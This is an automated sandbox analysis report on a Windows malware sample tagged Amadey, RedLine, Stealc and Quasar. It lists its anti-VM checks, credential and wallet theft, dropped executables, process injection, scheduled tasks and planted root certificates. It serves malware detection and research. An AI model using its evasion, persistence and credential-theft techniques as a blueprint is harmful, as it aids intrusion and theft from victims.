Malware Analysis Report

2024-10-19 08:35

Sample ID 240731-b4jlgszfjr
Target a840bdaefb80641123d7ca786ebace65769da70f45e18bd3f0c7ef7b2ffcabdd.exe
SHA256 a840bdaefb80641123d7ca786ebace65769da70f45e18bd3f0c7ef7b2ffcabdd
Tags
amadey redline stealc 25072023 30072024 fed3aa logs valenciga credential_access discovery evasion infostealer pyinstaller spyware stealer trojan quasar sectoprat exodusmarket.io office04 execution persistence rat
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

a840bdaefb80641123d7ca786ebace65769da70f45e18bd3f0c7ef7b2ffcabdd

Threat Level: Known bad

The file a840bdaefb80641123d7ca786ebace65769da70f45e18bd3f0c7ef7b2ffcabdd.exe was found to be: Known bad.

Malicious Activity Summary

amadey redline stealc 25072023 30072024 fed3aa logs valenciga credential_access discovery evasion infostealer pyinstaller spyware stealer trojan quasar sectoprat exodusmarket.io office04 execution persistence rat

RedLine payload

SectopRAT

Quasar RAT

Stealc

Quasar payload

RedLine

SectopRAT payload

Amadey

Credentials from Password Stores: Credentials from Web Browsers

Identifies VirtualBox via ACPI registry values (likely anti-VM)

Stops running service(s)

Creates new service(s)

Downloads MZ/PE file

Command and Scripting Interpreter: PowerShell

Loads dropped DLL

Reads user/profile data of web browsers

Checks computer location settings

Reads data files stored by FTP clients

Executes dropped EXE

Checks BIOS information in registry

Unsecured Credentials: Credentials In Files

Identifies Wine through registry keys

Checks installed software on the system

Checks for any installed AV software in registry

Enumerates connected drives

Adds Run key to start application

Blocklisted process makes network request

Accesses cryptocurrency files/wallets, possible credential harvesting

Suspicious use of NtSetInformationThreadHideFromDebugger

Suspicious use of SetThreadContext

Drops file in System32 directory

Drops file in Windows directory

Launches sc.exe

Drops file in Program Files directory

System Location Discovery: System Language Discovery

Detects Pyinstaller

Enumerates physical storage devices

Program crash

Unsigned PE

Modifies data under HKEY_USERS

Scheduled Task/Job: Scheduled Task

Suspicious use of SetWindowsHookEx

Suspicious use of FindShellTrayWindow

Uses Task Scheduler COM API

Suspicious use of AdjustPrivilegeToken

Checks processor information in registry

Suspicious behavior: EnumeratesProcesses

Modifies registry class

Suspicious use of SendNotifyMessage

Uses Volume Shadow Copy service COM API

Modifies system certificate store

Suspicious use of WriteProcessMemory

Suspicious behavior: AddClipboardFormatListener

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-07-31 01:41

Signatures

Unsigned PE

Description Indicator Process Target
N/A N/A N/A N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-07-31 01:41

Reported

2024-07-31 01:44

Platform

win7-20240708-en

Max time kernel

150s

Max time network

151s

Command Line

"C:\Users\Admin\AppData\Local\Temp\a840bdaefb80641123d7ca786ebace65769da70f45e18bd3f0c7ef7b2ffcabdd.exe"

Signatures

Amadey

trojan amadey

RedLine

infostealer redline

RedLine payload

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Stealc

stealer stealc

Credentials from Password Stores: Credentials from Web Browsers

credential_access stealer

Identifies VirtualBox via ACPI registry values (likely anti-VM)

evasion
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ C:\Users\Admin\AppData\Local\Temp\a840bdaefb80641123d7ca786ebace65769da70f45e18bd3f0c7ef7b2ffcabdd.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe N/A

Downloads MZ/PE file

Checks BIOS information in registry

Description Indicator Process Target
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Users\Admin\AppData\Local\Temp\a840bdaefb80641123d7ca786ebace65769da70f45e18bd3f0c7ef7b2ffcabdd.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion C:\Users\Admin\AppData\Local\Temp\a840bdaefb80641123d7ca786ebace65769da70f45e18bd3f0c7ef7b2ffcabdd.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe N/A

Identifies Wine through registry keys

evasion
Description Indicator Process Target
Key opened \REGISTRY\USER\S-1-5-21-1506706701-1246725540-2219210854-1000\Software\Wine C:\Users\Admin\AppData\Local\Temp\a840bdaefb80641123d7ca786ebace65769da70f45e18bd3f0c7ef7b2ffcabdd.exe N/A
Key opened \REGISTRY\USER\S-1-5-21-1506706701-1246725540-2219210854-1000\Software\Wine C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe N/A

Loads dropped DLL

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\a840bdaefb80641123d7ca786ebace65769da70f45e18bd3f0c7ef7b2ffcabdd.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe N/A
N/A N/A C:\Windows\SysWOW64\WerFault.exe N/A
N/A N/A C:\Windows\SysWOW64\WerFault.exe N/A
N/A N/A C:\Windows\SysWOW64\WerFault.exe N/A
N/A N/A C:\Windows\SysWOW64\WerFault.exe N/A
N/A N/A C:\Windows\SysWOW64\WerFault.exe N/A
N/A N/A C:\Windows\SysWOW64\WerFault.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe N/A
N/A N/A C:\Windows\SysWOW64\WerFault.exe N/A
N/A N/A C:\Windows\SysWOW64\WerFault.exe N/A
N/A N/A C:\Windows\SysWOW64\WerFault.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1000010001\pered.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1000010001\pered.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1000010001\pered.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1000010001\pered.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1000010001\pered.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1000010001\pered.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1000010001\pered.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1000010001\pered.exe N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1000012001\2020.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1000012001\2020.exe N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe N/A
N/A N/A C:\Windows\system32\cmd.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe N/A
N/A N/A C:\Windows\SysWOW64\WerFault.exe N/A
N/A N/A C:\Windows\SysWOW64\WerFault.exe N/A
N/A N/A C:\Windows\SysWOW64\WerFault.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1000045001\stealc_valenciga.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1000045001\stealc_valenciga.exe N/A

Reads data files stored by FTP clients

spyware stealer

Reads user/profile data of web browsers

spyware stealer

Unsecured Credentials: Credentials In Files

credential_access stealer

Accesses cryptocurrency files/wallets, possible credential harvesting

spyware

Checks installed software on the system

discovery

Suspicious use of NtSetInformationThreadHideFromDebugger

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\a840bdaefb80641123d7ca786ebace65769da70f45e18bd3f0c7ef7b2ffcabdd.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe N/A

Drops file in Windows directory

Description Indicator Process Target
File created C:\Windows\Tasks\axplong.job C:\Users\Admin\AppData\Local\Temp\a840bdaefb80641123d7ca786ebace65769da70f45e18bd3f0c7ef7b2ffcabdd.exe N/A
File created C:\Windows\Tasks\Test Task17.job C:\Users\Admin\AppData\Local\Temp\RarSFX1\thkdh.exe N/A

Detects Pyinstaller

pyinstaller
Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A

Enumerates physical storage devices

System Location Discovery: System Language Discovery

discovery
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\ProgramData\tldwq\wbgsd.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\1000050001\30072024.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\1000003001\4434.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\1000004001\crypteda.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\1000009001\25072023.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\1000027001\buildred.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\1000045001\stealc_valenciga.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\RarSFX1\thkdh.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\a840bdaefb80641123d7ca786ebace65769da70f45e18bd3f0c7ef7b2ffcabdd.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\1000002001\GOLD.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\1000058001\deepweb.exe N/A

Checks processor information in registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 C:\Users\Admin\AppData\Local\Temp\1000045001\stealc_valenciga.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString C:\Users\Admin\AppData\Local\Temp\1000045001\stealc_valenciga.exe N/A

Modifies system certificate store

evasion spyware trojan
Description Indicator Process Target
Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8 C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe N/A
Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8\Blob = 0400000001000000100000000cd2f9e0da1773e9ed864da5e370e74e14000000010000001400000079b459e67bb6e5e40173800888c81a58f6e99b6e030000000100000014000000cabd2a79a1076a31f21d253635cb039d4329a5e80f00000001000000200000003f0411ede9c4477057d57e57883b1f205b20cdc0f3263129b1ee0269a2678f631900000001000000100000002fe1f70bb05d7c92335bc5e05b984da620000000010000006f0500003082056b30820353a0030201020211008210cfb0d240e3594463e0bb63828b00300d06092a864886f70d01010b0500304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f74205831301e170d3135303630343131303433385a170d3335303630343131303433385a304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f7420583130820222300d06092a864886f70d01010105000382020f003082020a0282020100ade82473f41437f39b9e2b57281c87bedcb7df38908c6e3ce657a078f775c2a2fef56a6ef6004f28dbde68866c4493b6b163fd14126bbf1fd2ea319b217ed1333cba48f5dd79dfb3b8ff12f1219a4bc18a8671694a66666c8f7e3c70bfad292206f3e4c0e680aee24b8fb7997e94039fd347977c99482353e838ae4f0a6f832ed149578c8074b6da2fd0388d7b0370211b75f2303cfa8faeddda63abeb164fc28e114b7ecf0be8ffb5772ef4b27b4ae04c12250c708d0329a0e15324ec13d9ee19bf10b34a8c3f89a36151deac870794f46371ec2ee26f5b9881e1895c34796c76ef3b906279e6dba49a2f26c5d010e10eded9108e16fbb7f7a8f7c7e50207988f360895e7e237960d36759efb0e72b11d9bbc03f94905d881dd05b42ad641e9ac0176950a0fd8dfd5bd121f352f28176cd298c1a80964776e4737baceac595e689d7f72d689c50641293e593edd26f524c911a75aa34c401f46a199b5a73a516e863b9e7d72a712057859ed3e5178150b038f8dd02f05b23e7b4a1c4b730512fcc6eae050137c439374b3ca74e78e1f0108d030d45b7136b407bac130305c48b7823b98a67d608aa2a32982ccbabd83041ba2830341a1d605f11bc2b6f0a87c863b46a8482a88dc769a76bf1f6aa53d198feb38f364dec82b0d0a28fff7dbe21542d422d0275de179fe18e77088ad4ee6d98b3ac6dd27516effbc64f533434f0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e0416041479b459e67bb6e5e40173800888c81a58f6e99b6e300d06092a864886f70d01010b05000382020100551f58a9bcb2a850d00cb1d81a6920272908ac61755c8a6ef882e5692fd5f6564bb9b8731059d321977ee74c71fbb2d260ad39a80bea17215685f1500e59ebcee059e9bac915ef869d8f8480f6e4e99190dc179b621b45f06695d27c6fc2ea3bef1fcfcbd6ae27f1a9b0c8aefd7d7e9afa2204ebffd97fea912b22b1170e8ff28a345b58d8fc01c954b9b826cc8a8833894c2d843c82dfee965705ba2cbbf7c4b7c74e3b82be31c822737392d1c280a43939103323824c3c9f86b255981dbe29868c229b9ee26b3b573a82704ddc09c789cb0a074d6ce85d8ec9efceabc7bbb52b4e45d64ad026cce572ca086aa595e315a1f7a4edc92c5fa5fbffac28022ebed77bbbe3717b9016d3075e46537c3707428cd3c4969cd599b52ae0951a8048ae4c3907cecc47a452952bbab8fbadd233537de51d4d6dd5a1b1c7426fe64027355ca328b7078de78d3390e7239ffb509c796c46d5b415b3966e7e9b0c963ab8522d3fd65be1fb08c284fe24a8a389daac6ae1182ab1a843615bd31fdc3b8d76f22de88d75df17336c3d53fb7bcb415fffdca2d06138e196b8ac5d8b37d775d533c09911ae9d41c1727584be0241425f67244894d19b27be073fb9b84f817451e17ab7ed9d23e2bee0d52804133c31039edd7a6c8fc60718c67fde478e3f289e0406cfa5543477bdec899be91743df5bdb5ffe8e1e57a2cd409d7e6222dade1827 C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\F1A578C4CB5DE79A370893983FD4DA8B67B2B064 C:\Users\Admin\AppData\Local\Temp\1000009001\25072023.exe N/A
Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\F1A578C4CB5DE79A370893983FD4DA8B67B2B064\Blob = 0b000000010000004800000054006900740061006e00690075006d00200052006f006f007400200043006500720074006900660069006300610074006500200041007500740068006f00720069007400790000000200000001000000cc0000001c0000006c00000001000000000000000000000000000000010000007b00340031003700340034004200450034002d0031003100430035002d0034003900340043002d0041003200310033002d004200410030004300450039003400340039003300380045007d00000000004d006900630072006f0073006f0066007400200045006e00680061006e006300650064002000430072007900700074006f0067007200610070006800690063002000500072006f00760069006400650072002000760031002e00300000000000030000000100000014000000f1a578c4cb5de79a370893983fd4da8b67b2b06420000000010000000a03000030820306308201eea003020102020867f7beb96a4c2798300d06092a864886f70d01010b0500302e312c302a06035504030c23546974616e69756d20526f6f7420436572746966696361746520417574686f72697479301e170d3233303331343130333532305a170d3236303631373130333532305a302e312c302a06035504030c23546974616e69756d20526f6f7420436572746966696361746520417574686f7269747930820122300d06092a864886f70d01010105000382010f003082010a028201010086e4577a5861ce819177d005fa51d5515a936c610ccfcbde5332cd151da647ee881a245c9b02833b02af3d76fe20bd3bfaf7a20973e72ebd9440d09d8c3d2713bdf0d09feb9532acd7a42da2a952daa86a2a88ee427d30959d90bfba05276aa02998a6986fc01306629b79b8405d1f1fa6d9a42f827afc7566340dc2de27012b94bb4a27b3cb1c219a3cb2c14203f34451bd626520edd4dbcc414f593f2acbc48479f7143cbe139cfd129c913e5303dc20f94c44358901b69a848d7ea02e308a311560ac00ae009a29109aeed9713dd8919b97ed598058e17f0726c7a020f710abc06291dfaaf181c6be6a76c89cb68eb0b0ec1cd95f326c7e55588bfd76c5190203010001a328302630130603551d25040c300a06082b06010505070301300f0603551d130101ff040530030101ff300d06092a864886f70d01010b0500038201010070851293d757e982797dc5f7f27da894ef0cdb329f06a6096e0cf604b0e54711560ef40f5282082e210f55a3db41f312548b7611f5f0dacea3c78b13f6fc243c02b106665be69e184088415b273999b877bee353a248cec7eeb5a095c2174bc9526cafe3372c59dbfbe758134ed351e5147273fec68577ae4552a6f99ac80ca8d0ee422af528858c6be81cb0a8031ab0ae83c0eb5564f4e87a5c06295d3903eee2fdf92d62a7f4d4054deaa79bcaebda4e8b1a6efd42aef9d01c7075728cb13aa8557c85a72532b5e2d6c3e55041c9867ca8f562bbd2ab0c3710d83173ec3781d1dcaac5c6e07ee726624dfdc5814cffd336e17932f89beb9cf7fdbee9bebf61 C:\Users\Admin\AppData\Local\Temp\1000009001\25072023.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\1000027001\buildred.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\1000050001\30072024.exe N/A

Suspicious use of FindShellTrayWindow

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\a840bdaefb80641123d7ca786ebace65769da70f45e18bd3f0c7ef7b2ffcabdd.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 3004 wrote to memory of 2760 N/A C:\Users\Admin\AppData\Local\Temp\a840bdaefb80641123d7ca786ebace65769da70f45e18bd3f0c7ef7b2ffcabdd.exe C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe
PID 3004 wrote to memory of 2760 N/A C:\Users\Admin\AppData\Local\Temp\a840bdaefb80641123d7ca786ebace65769da70f45e18bd3f0c7ef7b2ffcabdd.exe C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe
PID 3004 wrote to memory of 2760 N/A C:\Users\Admin\AppData\Local\Temp\a840bdaefb80641123d7ca786ebace65769da70f45e18bd3f0c7ef7b2ffcabdd.exe C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe
PID 3004 wrote to memory of 2760 N/A C:\Users\Admin\AppData\Local\Temp\a840bdaefb80641123d7ca786ebace65769da70f45e18bd3f0c7ef7b2ffcabdd.exe C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe
PID 2760 wrote to memory of 1500 N/A C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe C:\Users\Admin\AppData\Local\Temp\1000002001\GOLD.exe
PID 2760 wrote to memory of 1500 N/A C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe C:\Users\Admin\AppData\Local\Temp\1000002001\GOLD.exe
PID 2760 wrote to memory of 1500 N/A C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe C:\Users\Admin\AppData\Local\Temp\1000002001\GOLD.exe
PID 2760 wrote to memory of 1500 N/A C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe C:\Users\Admin\AppData\Local\Temp\1000002001\GOLD.exe
PID 2760 wrote to memory of 1432 N/A C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe C:\Users\Admin\AppData\Local\Temp\1000003001\4434.exe
PID 2760 wrote to memory of 1432 N/A C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe C:\Users\Admin\AppData\Local\Temp\1000003001\4434.exe
PID 2760 wrote to memory of 1432 N/A C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe C:\Users\Admin\AppData\Local\Temp\1000003001\4434.exe
PID 2760 wrote to memory of 1432 N/A C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe C:\Users\Admin\AppData\Local\Temp\1000003001\4434.exe
PID 1500 wrote to memory of 2056 N/A C:\Users\Admin\AppData\Local\Temp\1000002001\GOLD.exe C:\Windows\SysWOW64\WerFault.exe
PID 1500 wrote to memory of 2056 N/A C:\Users\Admin\AppData\Local\Temp\1000002001\GOLD.exe C:\Windows\SysWOW64\WerFault.exe
PID 1500 wrote to memory of 2056 N/A C:\Users\Admin\AppData\Local\Temp\1000002001\GOLD.exe C:\Windows\SysWOW64\WerFault.exe
PID 1500 wrote to memory of 2056 N/A C:\Users\Admin\AppData\Local\Temp\1000002001\GOLD.exe C:\Windows\SysWOW64\WerFault.exe
PID 1432 wrote to memory of 264 N/A C:\Users\Admin\AppData\Local\Temp\1000003001\4434.exe C:\Windows\SysWOW64\WerFault.exe
PID 1432 wrote to memory of 264 N/A C:\Users\Admin\AppData\Local\Temp\1000003001\4434.exe C:\Windows\SysWOW64\WerFault.exe
PID 1432 wrote to memory of 264 N/A C:\Users\Admin\AppData\Local\Temp\1000003001\4434.exe C:\Windows\SysWOW64\WerFault.exe
PID 1432 wrote to memory of 264 N/A C:\Users\Admin\AppData\Local\Temp\1000003001\4434.exe C:\Windows\SysWOW64\WerFault.exe
PID 2760 wrote to memory of 2732 N/A C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe C:\Users\Admin\AppData\Local\Temp\1000004001\crypteda.exe
PID 2760 wrote to memory of 2732 N/A C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe C:\Users\Admin\AppData\Local\Temp\1000004001\crypteda.exe
PID 2760 wrote to memory of 2732 N/A C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe C:\Users\Admin\AppData\Local\Temp\1000004001\crypteda.exe
PID 2760 wrote to memory of 2732 N/A C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe C:\Users\Admin\AppData\Local\Temp\1000004001\crypteda.exe
PID 2732 wrote to memory of 2420 N/A C:\Users\Admin\AppData\Local\Temp\1000004001\crypteda.exe C:\Windows\SysWOW64\WerFault.exe
PID 2732 wrote to memory of 2420 N/A C:\Users\Admin\AppData\Local\Temp\1000004001\crypteda.exe C:\Windows\SysWOW64\WerFault.exe
PID 2732 wrote to memory of 2420 N/A C:\Users\Admin\AppData\Local\Temp\1000004001\crypteda.exe C:\Windows\SysWOW64\WerFault.exe
PID 2732 wrote to memory of 2420 N/A C:\Users\Admin\AppData\Local\Temp\1000004001\crypteda.exe C:\Windows\SysWOW64\WerFault.exe
PID 2760 wrote to memory of 2088 N/A C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe C:\Users\Admin\AppData\Local\Temp\1000005001\2.exe
PID 2760 wrote to memory of 2088 N/A C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe C:\Users\Admin\AppData\Local\Temp\1000005001\2.exe
PID 2760 wrote to memory of 2088 N/A C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe C:\Users\Admin\AppData\Local\Temp\1000005001\2.exe
PID 2760 wrote to memory of 2088 N/A C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe C:\Users\Admin\AppData\Local\Temp\1000005001\2.exe
PID 2760 wrote to memory of 1644 N/A C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe C:\Users\Admin\AppData\Local\Temp\1000009001\25072023.exe
PID 2760 wrote to memory of 1644 N/A C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe C:\Users\Admin\AppData\Local\Temp\1000009001\25072023.exe
PID 2760 wrote to memory of 1644 N/A C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe C:\Users\Admin\AppData\Local\Temp\1000009001\25072023.exe
PID 2760 wrote to memory of 1644 N/A C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe C:\Users\Admin\AppData\Local\Temp\1000009001\25072023.exe
PID 2760 wrote to memory of 2632 N/A C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe C:\Users\Admin\AppData\Local\Temp\1000010001\pered.exe
PID 2760 wrote to memory of 2632 N/A C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe C:\Users\Admin\AppData\Local\Temp\1000010001\pered.exe
PID 2760 wrote to memory of 2632 N/A C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe C:\Users\Admin\AppData\Local\Temp\1000010001\pered.exe
PID 2760 wrote to memory of 2632 N/A C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe C:\Users\Admin\AppData\Local\Temp\1000010001\pered.exe
PID 2632 wrote to memory of 1880 N/A C:\Users\Admin\AppData\Local\Temp\1000010001\pered.exe C:\Users\Admin\AppData\Local\Temp\1000010001\pered.exe
PID 2632 wrote to memory of 1880 N/A C:\Users\Admin\AppData\Local\Temp\1000010001\pered.exe C:\Users\Admin\AppData\Local\Temp\1000010001\pered.exe
PID 2632 wrote to memory of 1880 N/A C:\Users\Admin\AppData\Local\Temp\1000010001\pered.exe C:\Users\Admin\AppData\Local\Temp\1000010001\pered.exe
PID 2760 wrote to memory of 1656 N/A C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe C:\Users\Admin\AppData\Local\Temp\1000012001\2020.exe
PID 2760 wrote to memory of 1656 N/A C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe C:\Users\Admin\AppData\Local\Temp\1000012001\2020.exe
PID 2760 wrote to memory of 1656 N/A C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe C:\Users\Admin\AppData\Local\Temp\1000012001\2020.exe
PID 2760 wrote to memory of 1656 N/A C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe C:\Users\Admin\AppData\Local\Temp\1000012001\2020.exe
PID 1656 wrote to memory of 3056 N/A C:\Users\Admin\AppData\Local\Temp\1000012001\2020.exe C:\Users\Admin\AppData\Local\Temp\1000012001\2020.exe
PID 1656 wrote to memory of 3056 N/A C:\Users\Admin\AppData\Local\Temp\1000012001\2020.exe C:\Users\Admin\AppData\Local\Temp\1000012001\2020.exe
PID 1656 wrote to memory of 3056 N/A C:\Users\Admin\AppData\Local\Temp\1000012001\2020.exe C:\Users\Admin\AppData\Local\Temp\1000012001\2020.exe
PID 2760 wrote to memory of 2596 N/A C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe C:\Users\Admin\AppData\Local\Temp\1000027001\buildred.exe
PID 2760 wrote to memory of 2596 N/A C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe C:\Users\Admin\AppData\Local\Temp\1000027001\buildred.exe
PID 2760 wrote to memory of 2596 N/A C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe C:\Users\Admin\AppData\Local\Temp\1000027001\buildred.exe
PID 2760 wrote to memory of 2596 N/A C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe C:\Users\Admin\AppData\Local\Temp\1000027001\buildred.exe
PID 2760 wrote to memory of 2320 N/A C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe C:\Users\Admin\AppData\Local\Temp\1000036001\Authenticator.exe
PID 2760 wrote to memory of 2320 N/A C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe C:\Users\Admin\AppData\Local\Temp\1000036001\Authenticator.exe
PID 2760 wrote to memory of 2320 N/A C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe C:\Users\Admin\AppData\Local\Temp\1000036001\Authenticator.exe
